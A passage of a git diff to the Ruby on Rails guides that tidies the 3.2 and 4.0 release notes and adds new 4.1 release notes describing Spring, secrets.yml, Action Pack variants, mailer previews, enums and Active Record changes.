+    You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information.
 
 * The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
 
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
index dc4d942671..6ddf77d9c0 100644
--- a/guides/source/3_2_release_notes.md
+++ b/guides/source/3_2_release_notes.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Ruby on Rails 3.2 Release Notes
 ===============================
 
@@ -8,7 +10,10 @@ Highlights in Rails 3.2:
 * Automatic Query Explains
 * Tagged Logging
 
-These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails repository on GitHub.
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails
+repository on GitHub.
 
 --------------------------------------------------------------------------------
 
@@ -21,7 +26,7 @@ If you're upgrading an existing application, it's a great idea to have good test
 
 Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
 
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
 
 ### What to update in your apps
 
@@ -137,7 +142,7 @@ Railties
 
 * Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
 
-* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory.
+* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory.
 
 * Add an alias `d` for `destroy`. This works for engines too.
 
@@ -185,9 +190,9 @@ Action Pack
     end
     ```
 
-    Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
+    Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions.
 
-* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}".
+* `form_for` is changed to use `#{action}_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`.
 
 * `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
 
@@ -219,7 +224,7 @@ Action Pack
 
 * MIME type entries for PDF, ZIP and other formats were added.
 
-* Allow fresh_when/stale? to take a record instead of an options hash.
+* Allow `fresh_when/stale?` to take a record instead of an options hash.
 
 * Changed log level of warning for missing CSRF token from `:debug` to `:warn`.
 
@@ -227,7 +232,7 @@ Action Pack
 
 #### Deprecations
 
-* Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
+* Deprecated implied layout lookup in controllers whose parent had an explicit layout set:
 
     ```ruby
     class ApplicationController
@@ -238,7 +243,7 @@ Action Pack
     end
     ```
 
-    In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
+    In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
 
 * Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`.
 
@@ -254,7 +259,7 @@ Action Pack
 
 * Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
 
-* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
+* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
 
 * Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.
 
@@ -375,7 +380,7 @@ Active Record
 
 * Support index sort order in SQLite, MySQL and PostgreSQL adapters.
 
-* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.
+* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string.
 
     ```ruby
     has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
@@ -562,4 +567,4 @@ Credits
 
 See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
 
-Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.)
+Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev).
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
index ff4d30b4c0..67f4a3c02c 100644
--- a/guides/source/4_0_release_notes.md
+++ b/guides/source/4_0_release_notes.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Ruby on Rails 4.0 Release Notes
 ===============================
 
@@ -8,14 +10,17 @@ Highlights in Rails 4.0:
 * Turbolinks
 * Russian Doll Caching
 
-These release notes cover only the major changes. To know about various bug fixes and changes, please refer to the change logs or check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/4-0-stable) in the main Rails
+repository on GitHub.
 
 --------------------------------------------------------------------------------
 
 Upgrading to Rails 4.0
 ----------------------
 
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
 
 
 Creating a Rails 4.0 application
@@ -90,7 +95,7 @@ Major Features
  * **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified.
  * **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called.
  * **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe).
- 
+
 Extraction of features to gems
 ---------------------------
 
@@ -116,7 +121,7 @@ Documentation
 Railties
 --------
 
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes.
 
 ### Notable changes
 
@@ -139,7 +144,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railt
 Action Mailer
 -------------
 
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionmailer/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes.
 
 ### Notable changes
 
@@ -148,7 +153,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actio
 Active Model
 ------------
 
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activemodel/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes.
 
 ### Notable changes
 
@@ -161,19 +166,19 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ
 Active Support
 --------------
 
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activesupport/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes.
 
 ### Notable changes
 
-* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore.
+* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`.
 
-* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.
+* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead.
 
 * Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument.
 
 * `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
 
-* `String#to_date` now raises `Argument Error: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
+* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
   when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as:
 
   ```
@@ -190,20 +195,20 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ
 
 * Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
 
-* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
+* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
 
 * `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals.
 
-* Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).
+* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols).
 
-* BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby standard library.
+* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library.
 
 * Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?`
 
 Action Pack
 -----------
 
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionpack/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes.
 
 ### Notable changes
 
@@ -215,7 +220,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actio
 Active Record
 -------------
 
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activerecord/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes.
 
 ### Notable changes
 
@@ -226,11 +231,11 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ
       The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
 
     * New method `reversible` makes it possible to specify code to be run when migrating up or down.
-      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#using-the-reversible-method)
+      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#using-reversible)
 
     * New method `revert` will revert a whole migration or the given block.
       If migrating down, the given migration / block is run normally.
-      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#reverting-previous-migrations)
+      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#reverting-previous-migrations)
 
 * Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.
 
@@ -266,9 +271,9 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ
       * `find_all_by_...` can be rewritten using `where(...)`.
       * `find_last_by_...` can be rewritten using `where(...).last`.
       * `scoped_by_...` can be rewritten using `where(...)`.
-      * `find_or_initialize_by_...` can be rewritten using `where(...).first_or_initialize`.
-      * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)` or `where(...).first_or_create`.
-      * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)` or `where(...).first_or_create!`.
+      * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`.
+      * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`.
+      * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`.
 
 Credits
 -------
diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md
new file mode 100644
index 0000000000..8d5557be6e
--- /dev/null
+++ b/guides/source/4_1_release_notes.md
@@ -0,0 +1,732 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 4.1 Release Notes
+===============================
+
+Highlights in Rails 4.1:
+
+* Spring application preloader
+* `config/secrets.yml`
+* Action Pack variants
+* Action Mailer previews
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/4-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 4.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1)
+guide.
+
+
+Major Features
+--------------
+
+### Spring Application Preloader
+
+Spring is a Rails application preloader. It speeds up development by keeping
+your application running in the background so you don't need to boot it every
+time you run a test, rake task or migration.
+
+New Rails 4.1 applications will ship with "springified" binstubs. This means
+that `bin/rails` and `bin/rake` will automatically take advantage of preloaded
+spring environments.
+
+**Running rake tasks:**
+
+```
+bin/rake test:models
+```
+
+**Running a Rails command:**
+
+```
+bin/rails console
+```
+
+**Spring introspection:**
+
+```
+$ bin/spring status
+Spring is running:
+
+ 1182 spring server | my_app | started 29 mins ago
+ 3656 spring app    | my_app | started 23 secs ago | test mode
+ 3746 spring app    | my_app | started 10 secs ago | development mode
+```
+
+Have a look at the
+[Spring README](https://github.com/rails/spring/blob/master/README.md) to
+see all available features.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring)
+guide on how to migrate existing applications to use this feature.
+
+### `config/secrets.yml`
+
+Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default,
+this file contains the application's `secret_key_base`, but it could also be
+used to store other secrets such as access keys for external APIs.
+
+The secrets added to this file are accessible via `Rails.application.secrets`.
+For example, with the following `config/secrets.yml`:
+
+```yaml
+development:
+  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+  some_api_key: SOMEKEY
+```
+
+`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development
+environment.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml)
+guide on how to migrate existing applications to use this feature.
+
+### Action Pack Variants
+
+We often want to render different HTML/JSON/XML templates for phones,
+tablets, and desktop browsers. Variants make it easy.
+
+The request variant is a specialization of the request format, like `:tablet`,
+`:phone`, or `:desktop`.
+
+You can set the variant in a `before_action`:
+
+```ruby
+request.variant = :tablet if request.user_agent =~ /iPad/
+```
+
+Respond to variants in the action just like you respond to formats:
+
+```ruby
+respond_to do |format|
+  format.html do |html|
+    html.tablet # renders app/views/projects/show.html+tablet.erb
+    html.phone { extra_setup; render ... }
+  end
+end
+```
+
+Provide separate templates for each format and variant:
+
+```
+app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+```
+
+You can also simplify the variants definition using the inline syntax:
+
+```ruby
+respond_to do |format|
+  format.js         { render "trash" }
+  format.html.phone { redirect_to progress_path }
+  format.html.none  { render "trash" }
+end
+```
+
+### Action Mailer Previews
+
+Action Mailer previews provide a way to see how emails look by visiting
+a special URL that renders them.
+
+You implement a preview class whose methods return the mail object you'd like
+to check:
+
+```ruby
+class NotifierPreview < ActionMailer::Preview
+  def welcome
+    Notifier.welcome(User.first)
+  end
+end
+```
+
+The preview is available in http://localhost:3000/rails/mailers/notifier/welcome,
+and a list of them in http://localhost:3000/rails/mailers.
+
+By default, these preview classes live in `test/mailers/previews`.
+This can be configured using the `preview_path` option.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html#class-ActionMailer::Base-label-Previewing+emails)
+for a detailed write up.
+
+### Active Record enums
+
+Declare an enum attribute where the values map to integers in the database, but
+can be queried by name.
+
+```ruby
+class Conversation < ActiveRecord::Base
+  enum status: [ :active, :archived ]
+end
+
+conversation.archived!
+conversation.active? # => false
+conversation.status  # => "archived"
+
+Conversation.archived # => Relation for all archived Conversations
+
+Conversation.statuses # => { "active" => 0, "archived" => 1 }
+```
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html)
+for a detailed write up.
+
+### Message Verifiers
+
+Message verifiers can be used to generate and verify signed messages. This can
+be useful to safely transport sensitive data like remember-me tokens and
+friends.
+
+The method `Rails.application.message_verifier` returns a new message verifier
+that signs messages with a key derived from secret_key_base and the given
+message verifier name:
+
+```ruby
+signed_token = Rails.application.message_verifier(:remember_me).generate(token)
+Rails.application.message_verifier(:remember_me).verify(signed_token) # => token
+
+Rails.application.message_verifier(:remember_me).verify(tampered_token)
+# raises ActiveSupport::MessageVerifier::InvalidSignature
+```
+
+### Module#concerning
+
+A natural, low-ceremony way to separate responsibilities within a class:
+
+```ruby
+class Todo < ActiveRecord::Base
+  concerning :EventTracking do
+    included do
+      has_many :events
+    end
+
+    def latest_event
+      ...
+    end
+
+    private
+      def some_internal_method
+        ...
+      end
+  end
+end
+```
+
+This example is equivalent to defining a `EventTracking` module inline,
+extending it with `ActiveSupport::Concern`, then mixing it in to the
+`Todo` class.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html)
+for a detailed write up and the intended use cases.
+
+### CSRF protection from remote `<script>` tags
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. That prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means any of your tests that hit `.js` URLs will now fail CSRF protection
+unless they use `xhr`. Upgrade your tests to be explicit about expecting
+XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit
+`xhr :post, :create, format: :js`.
+
+
+Railties
+--------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed `update:application_controller` rake task.
+
+* Removed deprecated `Rails.application.railties.engines`.
+
+* Removed deprecated `threadsafe!` from Rails Config.
+
+* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
+  favor of `ActiveRecord::Generators::ActiveModel#update`.
+
+* Removed deprecated `config.whiny_nils` option.
+
+* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
+  `rake test:recent`.
+
+### Notable changes
+
+* The [Spring application
+  preloader](https://github.com/rails/spring) is now installed
+  by default for new applications. It uses the development group of
+  the Gemfile, so will not be installed in
+  production. ([Pull Request](https://github.com/rails/rails/pull/12958))
+
+* `BACKTRACE` environment variable to show unfiltered backtraces for test
+  failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553))
+
+* Exposed `MiddlewareStack#unshift` to environment
+  configuration. ([Pull Request](https://github.com/rails/rails/pull/12479))
+
+* Added `Application#message_verifier` method to return a message
+  verifier. ([Pull Request](https://github.com/rails/rails/pull/12995))
+
+* The `test_help.rb` file which is required by the default generated test
+  helper will automatically keep your test database up-to-date with
+  `db/schema.rb` (or `db/structure.sql`). It raises an error if
+  reloading the schema does not resolve all pending migrations. Opt out
+  with `config.active_record.maintain_test_schema = false`. ([Pull
+  Request](https://github.com/rails/rails/pull/13528))
+
+* Introduce `Rails.gem_version` as a convenience method to return
+  `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform
+  version comparison. ([Pull Request](https://github.com/rails/rails/pull/14103))
+
+
+Action Pack
+-----------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated Rails application fallback for integration testing, set
+  `ActionDispatch.test_app` instead.
+
+* Removed deprecated `page_cache_extension` config.
+
+* Removed deprecated `ActionController::RecordIdentifier`, use
+  `ActionView::RecordIdentifier` instead.
+
+* Removed deprecated constants from Action Controller:
+
+  | Removed                            | Successor                       |
+  |:-----------------------------------|:--------------------------------|
+  | ActionController::AbstractRequest  | ActionDispatch::Request         |
+  | ActionController::Request          | ActionDispatch::Request         |
+  | ActionController::AbstractResponse | ActionDispatch::Response        |
+  | ActionController::Response         | ActionDispatch::Response        |
+  | ActionController::Routing          | ActionDispatch::Routing         |
+  | ActionController::Integration      | ActionDispatch::Integration     |
+  | ActionController::IntegrationTest  | ActionDispatch::IntegrationTest |
+
+### Notable changes
+
+* `protect_from_forgery` also prevents cross-origin `<script>` tags.
+  Update your tests to use `xhr :get, :foo, format: :js` instead of
+  `get :foo, format: :js`.
+  ([Pull Request](https://github.com/rails/rails/pull/13345))
+
+* `#url_for` takes a hash with options inside an
+  array. ([Pull Request](https://github.com/rails/rails/pull/9599))
+
+* Added `session#fetch` method fetch behaves similarly to
+  [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch),
+  with the exception that the returned value is always saved into the
+  session. ([Pull Request](https://github.com/rails/rails/pull/12692))
+
+* Separated Action View completely from Action
+  Pack. ([Pull Request](https://github.com/rails/rails/pull/11032))
+
+* Log which keys were affected by deep
+  munge. ([Pull Request](https://github.com/rails/rails/pull/13813))
+
+* New config option `config.action_dispatch.perform_deep_munge` to opt out of
+  params "deep munging" that was used to address security vulnerability
+  CVE-2013-0155. ([Pull Request](https://github.com/rails/rails/pull/13188))
+
+* New config option `config.action_dispatch.cookies_serializer` for specifying a
+  serializer for the signed and encrypted cookie jars. (Pull Requests
+  [1](https://github.com/rails/rails/pull/13692),
+  [2](https://github.com/rails/rails/pull/13945) /
+  [More Details](upgrading_ruby_on_rails.html#cookies-serializer))
+
+* Added `render :plain`, `render :html` and `render
+  :body`. ([Pull Request](https://github.com/rails/rails/pull/14062) /
+  [More Details](upgrading_ruby_on_rails.html#rendering-content-from-string))
+
+
+Action Mailer
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md)
+for detailed changes.
+
+### Notable changes
+
+* Added mailer previews feature based on 37 Signals mail_view
+  gem. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261))
+
+* Instrument the generation of Action Mailer messages. The time it takes to
+  generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556))
+
+
+Active Record
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated nil-passing to the following `SchemaCache` methods:
+  `primary_keys`, `tables`, `columns` and `columns_hash`.
+
+* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`.
+
+* Removed deprecated String constructor from `ActiveRecord::Migrator`.
+
+* Removed deprecated `scope` use without passing a callable object.
+
+* Removed deprecated `transaction_joinable=` in favor of `begin_transaction`
+  with a `:joinable` option.
+
+* Removed deprecated `decrement_open_transactions`.
+
+* Removed deprecated `increment_open_transactions`.
+
+* Removed deprecated `PostgreSQLAdapter#outside_transaction?`
+  method. You can use `#transaction_open?` instead.
+
+* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
+  `ActiveRecord::Fixtures.default_fixture_model_name`.
+
+* Removed deprecated `columns_for_remove` from `SchemaStatements`.
+
+* Removed deprecated `SchemaStatements#distinct`.
+
+* Moved deprecated `ActiveRecord::TestCase` into the Rails test
+  suite. The class is no longer public and is only used for internal
+  Rails tests.
+
+* Removed support for deprecated option `:restrict` for `:dependent`
+  in associations.
+
+* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql`
+  and `:counter_sql` options in associations.
+
+* Removed deprecated method `type_cast_code` from Column.
+
+* Removed deprecated `ActiveRecord::Base#connection` method.
+  Make sure to access it via the class.
+
+* Removed deprecation warning for `auto_explain_threshold_in_seconds`.
+
+* Removed deprecated `:distinct` option from `Relation#count`.
+
+* Removed deprecated methods `partial_updates`, `partial_updates?` and
+  `partial_updates=`.
+
+* Removed deprecated method `scoped`.
+
+* Removed deprecated method `default_scopes?`.
+
+* Remove implicit join references that were deprecated in 4.0.
+
+* Removed `activerecord-deprecated_finders` as a dependency.
+  Please see [the gem README](https://github.com/rails/activerecord-deprecated_finders#active-record-deprecated-finders)
+  for more info.
+
+* Removed usage of `implicit_readonly`. Please use `readonly` method
+  explicitly to mark records as
+  `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769))
+
+### Deprecations
+
+* Deprecated `quoted_locking_column` method, which isn't used anywhere.
+
+* Deprecated `ConnectionAdapters::SchemaStatements#distinct`,
+  as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556))
+
+* Deprecated `rake db:test:*` tasks as the test database is now
+  automatically maintained. See railties release notes. ([Pull
+  Request](https://github.com/rails/rails/pull/13528))
+
+* Deprecate unused `ActiveRecord::Base.symbolized_base_class`
+  and `ActiveRecord::Base.symbolized_sti_name` without
+  replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd)
+
+### Notable changes
+
+* Default scopes are no longer overridden by chained conditions.
+
+  Before this change when you defined a `default_scope` in a model
+  it was overridden by chained conditions in the same field. Now it
+  is merged like any other scope. [More Details](upgrading_ruby_on_rails.html#changes-on-default-scopes).
+
+* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from
+  a model's attribute or
+  method. ([Pull Request](https://github.com/rails/rails/pull/12891))
+
+* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on
+  models. ([Pull Request](https://github.com/rails/rails/pull/12772))
+
+* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`.
+  `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425))
+
+* `.unscope` now removes conditions specified in
+  `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade))
+
+* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing,
+  named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2))
+
+* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp
+  attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329))
+
+* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values
+  map to integers in the database, but can be queried by
+  name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5))
+
+* Type cast json values on write, so that the value is consistent with reading
+  from the database. ([Pull Request](https://github.com/rails/rails/pull/12643))
+
+* Type cast hstore values on write, so that the value is consistent
+  with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d))
+
+* Make `next_migration_number` accessible for third party
+  generators. ([Pull Request](https://github.com/rails/rails/pull/12407))
+
+* Calling `update_attributes` will now throw an `ArgumentError` whenever it
+  gets a `nil` argument. More specifically, it will throw an error if the
+  argument that it gets passed does not respond to to
+  `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860))
+
+* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed
+  query to fetch results rather than loading the entire
+  collection. ([Pull Request](https://github.com/rails/rails/pull/12137))
+
+* `inspect` on Active Record model classes does not initiate a new
+  connection. This means that calling `inspect`, when the database is missing,
+  will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014))
+
+* Removed column restrictions for `count`, let the database raise if the SQL is
+  invalid. ([Pull Request](https://github.com/rails/rails/pull/10710))
+
+* Rails now automatically detects inverse associations. If you do not set the
+  `:inverse_of` option on the association, then Active Record will guess the
+  inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886))
+
